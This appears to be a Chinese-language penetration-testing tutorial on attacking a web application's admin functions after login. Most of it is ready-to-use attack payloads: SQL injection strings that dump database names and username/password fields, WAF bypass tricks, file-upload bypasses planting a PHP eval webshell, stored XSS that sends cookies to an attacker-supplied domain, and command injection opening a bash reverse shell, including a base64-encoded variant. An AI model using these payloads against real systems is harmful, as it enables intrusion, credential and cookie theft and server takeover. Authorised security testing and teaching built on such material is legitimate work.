第二道口
Web渗透测试“第二道口”实战:常见漏洞挖掘与利用全解析
在Web渗透测试的实战场景中,“第二道口”通常是突破初始验证(如弱口令登录)后,聚焦业务功能点的核心关卡,也是暴露中高危漏洞的高频区域。本文结合OWASP Top 10准则,拆解“第二道口”常见漏洞类型、测试思路与实战利用技巧。
一、场景预判:“第二道口”的核心测试方向
“第二道口”一般对应后台功能模块或业务交互接口,比如数据列表页、用户内容提交区、系统运维工具、文件管理模块等。测试前需先梳理功能链路:从入口点(如后台登录后的仪表盘)出发,标记所有可输入、可上传、可执行交互的位置,优先测试数据交互型功能(如查询、提交、导入导出)和系统操作型功能(如备份、配置修改)。
二、高频漏洞挖掘与实战利用
1. SQL注入漏洞:数据查询页的“突破口”
测试思路
目标:列表页ID参数、搜索框、筛选器等用户可控输入点。通过单引号闭合、联合查询、报错注入等方式验证注入存在性。
- 基础验证:在参数后加单引号,如
?id=1',观察页面是否返回数据库报错(如“MySQL syntax error”); - 联合查询注入:构造
?id=1' UNION SELECT 1,database(),version()--+,获取当前数据库名、版本; - 报错注入:若页面屏蔽正常返回,构造
?id=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--+,通过报错信息提取敏感数据。
实战利用步骤
-- 1. 爆所有数据库名
?id=1' UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA--+
-- 2. 爆目标数据库表名
?id=1' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='testdb'--+
-- 3. 爆敏感字段内容
?id=1' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM testdb.users--+
WAF绕过技巧
采用大小写混合(Union Select)、URL编码(%27替代单引号)、注释干扰(1'/**/UNION/**/SELECT/**/1,user(),3--+)等方式绕过规则引擎。
2. 文件上传漏洞:后台运维区的“后门通道”
测试思路
目标:用户头像上传、文件备份、资源上传等功能。重点测试前端验证、后端规则的绕过方法:
- 前端验证绕过:禁用浏览器JS或直接抓包修改请求,绕过仅靠JS限制的上传逻辑;
- MIME类型绕过:抓包将Content-Type从
image/jpeg改为application/octet-stream或text/plain,绕过后端MIME校验; - 文件后缀绕过:针对不同服务器环境,测试
.php5/.phtml(Apache)、.asp/.aspx(IIS)、.htaccess(配置解析规则)等绕过方式; - 内容校验绕过:在木马头部添加图片文件头,如
GIF89a?<?php @eval($_POST['cmd']);?>,绕过图片内容检测。
实战利用示例
- 构造一句话木马文件
shell.php5:GIF89a? <?php @eval($_POST['cmd']);?> - 抓包修改文件后缀为
.php5,上传成功后,通过访问http://target.com/upload/shell.php5,用蚁剑/菜刀连接,获取服务器权限。
3. 存储型XSS漏洞:用户内容区的“潜伏炸弹”
测试思路
目标:用户留言板、个人资料编辑、商品评价等可存储内容的功能。输入XSS payload,验证是否被持久化存储并执行:
- 基础Payload:
<script>alert(document.cookie)</script>,测试是否弹出Cookie; - 绕过过滤Payload:若尖括号被过滤,尝试
<img src=x onerror=alert(document.cookie)>或<svg onload=alert(1)>; - 钓鱼Payload:
<script>window.open('http://yourdomain.com/phish.php?cookie='+document.cookie)</script>,窃取用户登录Cookie。
实战价值
存储型XSS可长期存在于系统中,当管理员访问受影响页面时,可直接窃取管理员Cookie,实现越权登录后台,甚至控制整个系统。
4. 命令执行漏洞:运维工具的“权限放大器”
测试思路
目标:在线Ping工具、日志分析、备份脚本等调用系统命令的功能。通过拼接命令参数验证执行权限:
- 基础验证:输入
127.0.0.1 && whoami,观察页面是否返回当前用户信息; - 反弹Shell利用:若服务器可出网,构造Payload:
127.0.0.1 && bash -i >& /dev/tcp/your_ip/443 0>&1在本地监听443端口,即可获取服务器交互式Shell。
绕过技巧
若命令被过滤,尝试用同义词替换(&&换||、;)、编码执行(echo "YmluIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS80NDMgMD4mMQ==" | base64 -d | bash)。
三、“第二道口”通关总结
- 优先测试高危漏洞:SQL注入、文件上传、命令执行,这类漏洞直接关联服务器权限获取;
- 细节决定成败:关注功能点的边界情况,比如文件上传的特殊后缀、SQL注入的报错信息、XSS的过滤规则;
- 绕过是核心:针对WAF、应用防护,灵活运用编码、注释、变形等技巧,突破规则限制;
- 权限提升:获取初始权限后,通过提权脚本(如LinPEAS、WinPEAS)扫描服务器漏洞,实现从Web权限到系统权限的跨越。
通过以上思路和技巧,可高效突破“第二道口”,为后续的全系统渗透测试奠定基础。
评论 (0)